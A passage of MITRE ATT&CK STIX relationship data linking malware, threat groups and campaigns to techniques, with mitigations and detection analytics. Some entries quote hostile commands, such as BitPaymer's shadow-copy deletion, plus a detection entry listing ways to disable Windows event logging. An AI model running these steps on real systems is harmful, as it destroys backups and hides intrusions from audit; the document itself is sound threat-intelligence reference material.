"revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T17:53:46.947Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [Impacket](https://attack.mitre.org/software/S0357)'s smbexec.py as well as accessing the C$ and IPC$ shares to move laterally.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--82e47c11-6480-4c0b-abd2-48868b9aecd4", "created": "2023-07-14T14:01:53.802Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-14T14:01:53.802Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--82ea5e2c-b5c2-467c-a7ec-bad7a38b743e", "created": "2022-07-29T19:32:11.660Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "", "modified": "2022-07-29T19:32:11.660Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--82f14e35-47d1-4d6f-8d66-c8bcf62c336f", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:23:39.018Z", "description": "Monitor executed commands and arguments that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. 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(2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}], "modified": "2020-12-03T20:32:03.643Z", "description": "[HyperStack](https://attack.mitre.org/software/S0537) can connect to the IPC$ share on remote machines.(Citation: Accenture HyperStack October 2020)", "relationship_type": "uses", "source_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8303719d-b2ed-4860-9af4-57b636c4f865", "type": "relationship", "created": "2019-04-23T12:38:37.626Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. 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Retrieved May 8, 2020."}], "modified": "2020-05-08T20:55:28.749Z", "description": "[VBShower](https://attack.mitre.org/software/S0442) has attempted to complicate forensic analysis by deleting all the files contained in <code>%APPDATA%\\..\\Local\\Temporary Internet Files\\Content.Word</code> and <code>%APPDATA%\\..\\Local Settings\\Temporary Internet Files\\Content.Word\\</code>.(Citation: Kaspersky Cloud Atlas August 2019)", "relationship_type": "uses", "source_ref": "malware--8caa18af-4758-4fd3-9600-e8af579e89ed", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--833b16fc-34c1-4ad9-bbb4-a0054cdc7f10", "type": "relationship", "created": "2020-10-20T15:42:48.320Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T02:49:14.826Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--833c9993-3551-45af-9bbd-413de2d4dac3", "type": "relationship", "created": "2022-01-18T18:04:47.164Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike AQUATIC PANDA December 2021", "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "description": "Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}], "modified": "2022-01-18T18:04:47.164Z", "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) has attempted to discover third party endpoint detection and response (EDR) tools on compromised systems.(Citation: CrowdStrike AQUATIC PANDA December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--833e14f8-0f37-488a-a67c-3ff2fe524ac3", "type": "relationship", "created": "2021-02-08T23:18:31.819Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}], "modified": "2021-02-08T23:18:31.819Z", "description": "[BitPaymer](https://attack.mitre.org/software/S0570) attempts to remove the backup shadow files from the host using <code>vssadmin.exe Delete Shadows /All /Quiet</code>.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8343b346-e529-4f28-a569-ae5f9a862ddf", "created": "2019-06-14T16:45:33.999Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PWC KeyBoys Feb 2017", "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", "url": "https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:22:36.389Z", "description": "[KeyBoy](https://attack.mitre.org/software/S0387) time-stomped its DLL in order to evade detection.(Citation: PWC KeyBoys Feb 2017)", "relationship_type": "uses", "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--834bbbc7-33b7-41e4-9bc8-98401a5a0e36", "type": "relationship", "created": "2019-09-18T18:44:51.030Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fysbis Palo Alto Analysis", "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"}], "modified": "2019-10-14T19:21:25.499Z", "description": "[Fysbis](https://attack.mitre.org/software/S0410) has used the command <code>ls /etc | egrep -e\"fedora\\*|debian\\*|gentoo\\*|mandriva\\*|mandrake\\*|meego\\*|redhat\\*|lsb-\\*|sun-\\*|SUSE\\*|release\"</code> to determine which Linux OS version is running.(Citation: Fysbis Palo Alto Analysis)", "relationship_type": "uses", "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--834c3c4d-b282-47e3-bca9-77f3b17f2f11", "created": "2023-02-16T16:49:46.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T22:55:12.256Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) can enumerate a list of running processes on a compromised system.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--834d8aa0-d752-492a-8e01-45ef0b88ece9", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Command monitoring may reveal malicious attempts to modify trust settings, such as the installation of root certificates or modifications to trust attributes/policies applied to files.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--83540a4e-9f12-4792-a541-910bb8fd0fe4", "type": "relationship", "created": "2020-03-02T19:05:18.286Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-02T19:05:18.286Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "target_ref": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--83561fd5-18cf-47df-a412-45614f3142bd", "type": "relationship", "created": "2022-03-25T16:21:29.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "modified": "2022-03-25T16:21:29.047Z", "description": "[Flagpro](https://attack.mitre.org/software/S0696) has dropped an executable file to the startup directory.(Citation: NTT Security Flagpro new December 2021) ", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8362d7e2-c22a-4bde-99dd-b2d66b4c775a", "type": "relationship", "created": "2019-03-13T14:38:31.325Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.908Z", "description": "[Empire](https://attack.mitre.org/software/S0363) contains a variety of enumeration modules that have an option to use API calls to carry out tasks.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8363c29c-b5f4-4b0b-8396-52628c773430", "created": "2020-12-29T16:20:58.912Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T18:05:23.526Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) uses a driver to scan for specific filesystem driver objects.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--836575fd-ffa1-4531-8c16-c875b7f0c177", "created": "2022-08-29T13:47:25.753Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cybereason Bumblebee August 2022", "url": "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", "description": "Cybereason. (2022, August 17). Bumblebee Loader \u2013 The High Road to Enterprise Domain Control. Retrieved August 29, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can inject code into multiple processes on infected endpoints.(Citation: Cybereason Bumblebee August 2022)", "modified": "2022-08-29T13:47:25.753Z", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--83665c9e-6fea-4666-a45e-929fa0906cea", "created": "2023-09-18T22:33:57.489Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "def_ev_win_event_logging", "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.", "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:48:40.200Z", "description": "Monitor the addition of the MiniNT registry key in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control, which may disable Event Viewer.(Citation: def_ev_win_event_logging)\n\nAdversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. There are different ways to perform this attack.\n1. The first one is to create the Registry Key\u00a0HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\MiniNt. This action will not generate Security EventLog 4657 or Sysmon EventLog 13 because the value of the key remains empty. However, if an attacker uses powershell to perform this attack (and not cmd), a Security EventLog 4663 will be generated (but 4663 generates a lot of noise).\n2. The second way is to disable the service EventLog (display name Windows Event Log). After disabed, attacker must reboot the system. The action of disabling or put in manual the service will modify the Registry Key value\u00a0HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\start, therefore Security EventLog 4657 or Sysmon EventLog 13 will be generated on the system.\n3. The third way is linked with the second. By default, the EventLog service cannot be stopped. If an attacker tries to stop the service, this one will restart immediately. Why ? Because to stop completely, this service must stop others, one in particular called netprofm (display name Network List Service). This service remains running until it is disabled. So Attacker must either disable EventLog and after to stop it or disable netprofm and after stop EventLog. Only stopping the service (even as admin) will not have an effect on the EventLog service because of the link with netprofm. Security EventLog 1100 will log the stop of the EventLog service (but also generates a lot of noise because it will generate a log everytime the system shutdown).\n4. The fourth way is to use auditpol.exe to modify the audit configuration and disable/modify important parameters that will lead to disable the creation of EventLog.\n5. The last one is to modify the Registry Key value\u00a0HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security\\file\u00a0(or other kind of log) to modify the path where the EventLog are stocked. Importantly, with this technique, the EventViewer will use the value of the Registry Key \u201cfile\u201d to know where to find the Log. Thus, using the EventViewer will always show the current event logs, but the old one will be stocked in another evtx. Also, the path must be in a folder that the Eventlog process has access (like it doesn\u2019t work if attacker set up the new path in the Desktop). Attacker can also decrease the maxsize value of the Log to force the system to rewrite on the older EventLog (but the minimum cannot be less than 1028 KB). As the Registry key is modified, Security EventLog 4657 or Sysmon EventLog 13 will be generated on the system. All of these attacks required administrative right. Attacks number three, four and five do not require a system reboot to be effective immediately.\n\nAnalytic 1 - Disable Windows Event Logging\n\n<code>(source=\"*WinEventLog:Security\" EventCode IN (4657, 4719) OR source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"13\") \n\t(ObjectName=\"*EventLog*\") \n\t(ObjectValueName=\"Start\" OR ObjectValueName=\"File\" OR ObjectValueName=\"MaxSize\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8389c9f5-ace5-4240-a694-7008313fc168", "created": "2024-03-04T21:14:19.449Z", "revoked": false, "external_references": [{"source_name": "Google Workspace External Sharing", "description": "Google. (n.d.). Manage external sharing for your organization. Retrieved March 4, 2024.", "url": "https://support.google.com/a/answer/60781"}, {"source_name": "Microsoft 365 External Sharing", "description": "Microsoft. (2023, October 11). Manage sharing settings for SharePoint and OneDrive in Microsoft 365. Retrieved March 4, 2024.", "url": "https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-04T21:14:19.449Z", "description": "Configure appropriate data sharing restrictions in cloud services. For example, external sharing in Microsoft SharePoint and Google Drive can be turned off altogether, blocked for certain domains, or restricted to certain users.(Citation: Google Workspace External Sharing) (Citation: Microsoft 365 External Sharing)", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--838b2a37-10a1-42fe-bf71-f298ce28f81f", "type": "relationship", "created": "2020-11-10T20:43:18.235Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-10T20:43:18.235Z", "description": "[Melcoz](https://attack.mitre.org/software/S0530) can use DLL hijacking to bypass security controls.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--838b4a52-1360-4ca7-ab25-1b549508e687", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "source_name": "ESET Sednit Part 2"}], "modified": "2019-05-14T17:10:21.881Z", "description": "An older version of [CHOPSTICK](https://attack.mitre.org/software/S0023) has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8395d178-d5e8-494f-8612-3c2542b2f8c9", "type": "relationship", "created": "2021-04-05T20:52:47.408Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lastline DarkHotel Just In Time Decryption Nov 2015", "url": "https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/", "description": "Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021."}, {"source_name": "Microsoft DUBNIUM June 2016", "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."}], "modified": "2021-04-22T14:35:25.536Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) malware has used a series of checks to determine if it's being analyzed; checks include the length of executable names, if a filename ends with <code>.Md5.exe</code>, and if the program is executed from the root of the C:\\ drive, as well as checks for sandbox-related libraries.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)(Citation: Microsoft DUBNIUM June 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--839a96b4-bd9d-4dce-8d92-a98a8672755f", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-14T15:36:45.940Z", "description": "monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to detect RDP session hijacking. Windows PowerShell log Event ID 4104 (PS script execution) can be used to capture PowerShell script block contents which may contain commands used as a precursor to RDP hijacking. For example, the following command in a PowerShell script block may be used to enumerate the systems on a network which have RDP access: <code>Find-DomainLocalGroupMember -GroupName \"Remote Desktop Users\" | select -expand ComputerName</code>.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--839ce1cc-c749-4a29-8aed-3c44e93c5db4", "created": "2019-05-14T16:58:13.939Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky StoneDrill 2017", "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:01:12.588Z", "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has obfuscated its module with an alphabet-based table or XOR encryption.(Citation: Kaspersky StoneDrill 2017)", "relationship_type": "uses", "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--839d6bf7-6a63-48c0-8433-0d8d6c7ea61f", "created": "2022-09-27T16:35:21.894Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T16:35:21.894Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used SMB to copy files to and from target systems.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 